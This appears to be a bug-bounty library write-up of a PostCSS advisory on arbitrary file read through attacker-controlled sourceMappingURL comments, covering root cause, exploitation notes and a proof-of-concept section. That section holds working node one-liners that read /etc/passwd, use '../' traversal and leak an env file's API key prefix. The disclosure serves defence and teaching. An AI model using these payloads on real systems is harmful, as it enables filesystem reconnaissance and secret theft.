# PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments

PostCSS dereferences attacker-controlled sourceMappingURL comments against the local filesystem, leaking first ~10 bytes of any readable file via JSON.parse SyntaxError.

- Payout: Research
- Severity: high
- Program: PostCSS
- Found by: offset
- Disclosed: 2026-07-23
- CVE: CVE-2026-45623
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6g55-p6wh-862q
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6g55-p6wh-862q
- Tags: area:oss domain:oss impact:data-leak impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:dos vuln:info-disclosure vuln:path-traversal

**Target:** npm library CSS processor (lib/previous-map.js)
**Root cause:** loadAnnotation extracts the sourceMappingURL path without scheme/allowlist/traversal checks, and loadMap passes it to readFileSync via path.join, which does not block '..' segments or absolute paths.
**Steps:**
1. Pass CSS containing `/*# sourceMappingURL=/etc/passwd */` to `postcss().process(css)` with default options.
2. PreviousMap.loadFile calls readFileSync on the path and stores bytes in this.text.
3. Input calls map.consumer(), source-map-js runs JSON.parse on non-JSON content.
4. V8 SyntaxError message embeds first ~10 bytes: `Unexpected token 'r', "root:x:0:0"... is not valid JSON`.
5. With opts.from set, use `../../../../../etc/passwd` to escape the base directory via path.join.
**How found:** Code review of lib/previous-map.js and lib/input.js tracing the sourceMappingURL annotation from loadAnnotation through loadMap to readFileSync, noting only `opts.map === false` short-circuits and no path validation exists.
**Exploitation:** Any pipeline processing untrusted CSS (CMS themes, userstyle processors, build farms) surfaces the PostCSS error to the attacker, disclosing file prefixes; non-existent paths return silently giving a file-existence oracle, and /dev/zero or huge files cause synchronous unbounded read DoS.
**Escalation:** Three-state oracle (silent success / JSON.parse error / no-such-file silence) enables host filesystem recon; leaked prefixes reveal env-var and key headers.
**Insight:** Source-map annotations are a classic unvalidated file-read sink in any tool that resolves them against disk; check whether the annotation path is joined with a base and whether path.join's lack of '..' blocking lets it escape, and whether parse errors echo file bytes.

## Proof of concept (copied exactly from the original report)

**Absolute path sourceMappingURL reads /etc/passwd**

```
node -e 'const p=require("postcss"); \
  try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \
  catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
```

**Relative traversal with opts.from set**

```
node -e 'const p=require("postcss"); \
  p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \
              {from:"/var/www/html/styles/main.css", map:{inline:false}}) \
   .catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
```

**Custom env file content leak**

```
printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON
```

